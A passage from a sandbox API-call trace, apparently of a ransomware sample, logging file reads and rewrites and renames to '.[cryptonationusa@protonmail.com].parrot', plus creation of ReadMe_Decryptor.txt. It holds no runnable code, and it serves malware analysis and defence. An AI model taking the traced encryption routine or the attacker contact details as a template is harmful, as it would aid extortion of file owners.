hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0044.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x5ea7f8 [0044.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608ab8 | out: hHeap=0x540000) returned 1 [0044.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x28d5988 [0044.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0044.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x5eb458 [0044.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5988 | out: hHeap=0x540000) returned 1 [0044.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x5f0780 [0044.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0044.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x5edba0 [0044.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0044.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0d) returned 0x28d7a10 [0044.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5edba0 | out: hHeap=0x540000) returned 1 [0044.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1536) returned 0x55df08 [0044.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d7a10 | out: hHeap=0x540000) returned 1 [0044.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1fbf) returned 0x608f00 [0044.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0044.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2f8d) returned 0x5fc980 [0044.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f00 | out: hHeap=0x540000) returned 1 [0044.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4742) returned 0x28ea198 [0044.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc980 | out: hHeap=0x540000) returned 1 [0044.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6ad1) returned 0x28ee8e8 [0044.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28ea198 | out: hHeap=0x540000) returned 1 [0044.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa028) returned 0x291a218 [0044.550] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28ee8e8 | out: hHeap=0x540000) returned 1 [0044.550] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf02a) returned 0x28ea198 [0044.550] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x291a218 | out: hHeap=0x540000) returned 1 [0044.550] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1682d) returned 0x61c990 [0044.551] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28ea198 | out: hHeap=0x540000) returned 1 [0044.551] WriteFile (in: hFile=0x2d4, lpBuffer=0x61c9a0*, nNumberOfBytesToWrite=0x149e8, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x61c9a0*, lpNumberOfBytesWritten=0x18fa94*=0x149e8, lpOverlapped=0x0) returned 1 [0044.552] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c990 | out: hHeap=0x540000) returned 1 [0044.554] UnlockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x149d9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0044.554] CloseHandle (hObject=0x2d4) returned 1 [0044.555] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db300 [0044.555] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x55bf20 [0044.556] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db300 | out: hHeap=0x540000) returned 1 [0044.556] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0Md0.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0md0.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0Md0.csv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0md0.csv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0044.557] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bf20 | out: hHeap=0x540000) returned 1 [0044.557] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0044.557] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28fa1d8 | out: hHeap=0x540000) returned 1 [0044.558] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0044.558] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608f18 [0044.558] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bbe8 [0044.558] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bd98 [0044.558] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0044.559] GetFileType (hFile=0x2d4) returned 0x1 [0044.559] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x55df08 [0044.574] lstrcmpW (lpString1="3dIa-bo RnbIojb.swf", lpString2="ReadMe_Decryptor.txt") returned -1 [0044.574] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\3dIa-bo RnbIojb.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\3dia-bo rnbiojb.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0044.574] GetFileSize (in: hFile=0x2d4, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0x6a68 [0044.574] LockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6b80, nNumberOfBytesToLockHigh=0x0) returned 1 [0044.575] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0044.575] ReadFile (in: hFile=0x2d4, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0044.576] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0044.578] ReadFile (in: hFile=0x2d4, lpBuffer=0x3780040, nNumberOfBytesToRead=0x6a68, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18fa94*=0x6a68, lpOverlapped=0x0) returned 1 [0044.578] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bbe8 [0044.578] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0044.578] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e28c8 [0044.578] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0044.578] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0044.578] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x55df08 [0044.578] GetLastError () returned 0x0 [0044.579] SetLastError (dwErrCode=0x0) [0044.579] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0044.579] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0044.579] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0044.579] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0044.579] GetLastError () returned 0x0 [0044.579] SetLastError (dwErrCode=0x0) [0044.579] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0044.579] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0044.579] GetLastError () returned 0x0 [0044.579] SetLastError (dwErrCode=0x0) [0044.579] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0044.579] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0044.579] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c58 [0044.579] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x5775c0 [0044.579] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1033) returned 0x5fc980 [0044.580] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2033) returned 0x5fd9c0 [0044.580] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc980 | out: hHeap=0x540000) returned 1 [0044.580] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4033) returned 0x61c990 [0044.581] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fd9c0 | out: hHeap=0x540000) returned 1 [0044.583] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8033) returned 0x6209d0 [0044.584] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c990 | out: hHeap=0x540000) returned 1 [0044.584] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bbe8 [0044.584] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c58 | out: hHeap=0x540000) returned 1 [0044.584] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0044.584] GetLastError () returned 0x0 [0044.584] SetLastError (dwErrCode=0x0) [0044.584] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0044.584] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5775c0 | out: hHeap=0x540000) returned 1 [0044.584] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0044.584] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0044.584] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0044.584] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e28c8 | out: hHeap=0x540000) returned 1 [0044.584] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0044.584] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x579388 [0044.584] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x5bbfc0 [0044.584] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579388 | out: hHeap=0x540000) returned 1 [0044.584] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0044.585] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bbe8 [0044.585] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bd98 [0044.585] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0044.585] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bbe8 [0044.585] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0044.585] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bd98 [0044.585] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0044.585] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bbe8 [0044.585] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0044.585] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c40 [0044.585] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0044.585] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c28 [0044.585] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0044.585] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0044.585] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0044.585] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0044.585] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0044.585] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb6c0 [0044.735] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0044.735] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0044.735] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0044.735] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0044.735] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0044.735] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x608f18 [0044.735] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0044.735] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d14a8 [0044.735] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f18 | out: hHeap=0x540000) returned 1 [0044.735] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x608ab8 [0044.735] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0044.735] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x5ea7f8 [0044.735] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608ab8 | out: hHeap=0x540000) returned 1 [0044.735] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x28d5988 [0044.735] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0044.735] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x5eb458 [0044.735] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5988 | out: hHeap=0x540000) returned 1 [0044.735] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x5f0780 [0044.735] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0044.735] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x5edba0 [0044.735] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0044.736] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0d) returned 0x28d7a10 [0044.736] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5edba0 | out: hHeap=0x540000) returned 1 [0044.736] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1536) returned 0x55df08 [0044.736] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d7a10 | out: hHeap=0x540000) returned 1 [0044.736] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1fbf) returned 0x61c990 [0044.736] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0044.736] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2f8d) returned 0x5fc980 [0044.739] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c990 | out: hHeap=0x540000) returned 1 [0044.739] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4742) returned 0x628a10 [0044.739] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc980 | out: hHeap=0x540000) returned 1 [0044.739] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6ad1) returned 0x62d160 [0044.740] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x628a10 | out: hHeap=0x540000) returned 1 [0044.740] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa028) returned 0x28ea198 [0044.741] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x62d160 | out: hHeap=0x540000) returned 1 [0044.741] WriteFile (in: hFile=0x2d4, lpBuffer=0x28ea1a0*, nNumberOfBytesToWrite=0x6b88, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x28ea1a0*, lpNumberOfBytesWritten=0x18fa94*=0x6b88, lpOverlapped=0x0) returned 1 [0044.751] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28ea198 | out: hHeap=0x540000) returned 1 [0044.751] UnlockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6b80, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0044.751] CloseHandle (hObject=0x2d4) returned 1 [0044.752] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608f18 [0044.752] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0) returned 0x28d14a8 [0044.752] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f18 | out: hHeap=0x540000) returned 1 [0044.752] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\3dIa-bo RnbIojb.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\3dia-bo rnbiojb.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\3dIa-bo RnbIojb.swf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\3dia-bo rnbiojb.swf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0044.753] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0044.753] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0044.753] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6209d0 | out: hHeap=0x540000) returned 1 [0044.754] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0044.754] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608f18 [0044.754] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bbe8 [0044.755] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bd98 [0044.755] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0044.756] GetFileType (hFile=0x2d4) returned 0x1 [0044.756] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x55df08 [0044.766] lstrcmpW (lpString1="5T3pGiSbr.odp", lpString2="ReadMe_Decryptor.txt") returned -1 [0044.766] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\5T3pGiSbr.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\5t3pgisbr.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0044.766] GetFileSize (in: hFile=0x2d4, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0x12c5e [0044.766] LockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x12d76, nNumberOfBytesToLockHigh=0x0) returned 1 [0044.766] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0044.767] ReadFile (in: hFile=0x2d4, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0044.767] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0044.768] ReadFile (in: hFile=0x2d4, lpBuffer=0x3780040, nNumberOfBytesToRead=0x12c5e, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18fa94*=0x12c5e, lpOverlapped=0x0) returned 1 [0044.768] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bbe8 [0044.768] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0044.768] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e28c8 [0044.768] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0044.768] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0044.768] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x55df08 [0044.768] GetLastError () returned 0x0 [0044.768] SetLastError (dwErrCode=0x0) [0044.768] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0044.769] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0044.769] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0044.769] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0044.769] GetLastError () returned 0x0 [0044.769] SetLastError (dwErrCode=0x0) [0044.769] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0044.769] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0044.769] GetLastError () returned 0x0 [0044.769] SetLastError (dwErrCode=0x0) [0044.769] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0044.769] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0044.769] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c58 [0044.769] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x5775c0 [0044.769] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1033) returned 0x5fc980 [0044.769] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2033) returned 0x5fd9c0 [0044.769] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc980 | out: hHeap=0x540000) returned 1 [0044.769] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4033) returned 0x61c990 [0044.770] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fd9c0 | out: hHeap=0x540000) returned 1 [0044.770] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8033) returned 0x6209d0 [0044.770] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c990 | out: hHeap=0x540000) returned 1 [0044.770] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10033) returned 0x28ea198 [0044.772] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6209d0 | out: hHeap=0x540000) returned 1 [0044.772] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20033) returned 0x28fa1d8 [0044.773] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28ea198 | out: hHeap=0x540000) returned 1 [0044.773] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe) returned 0x5f4c70 [0044.773] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c58 | out: hHeap=0x540000) returned 1 [0044.773] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0044.773] GetLastError () returned 0x0 [0044.773] SetLastError (dwErrCode=0x0) [0044.773] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0044.773] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5775c0 | out: hHeap=0x540000) returned 1 [0044.773] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0044.773] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0044.773] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0044.774] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e28c8 | out: hHeap=0x540000) returned 1 [0044.774] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0044.774] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x579388 [0044.774] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x5bbfc0 [0044.774] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579388 | out: hHeap=0x540000) returned 1 [0044.774] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0044.774] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bbe8 [0044.774] RtlAllocateHeap (HeapHandle=0x540000, 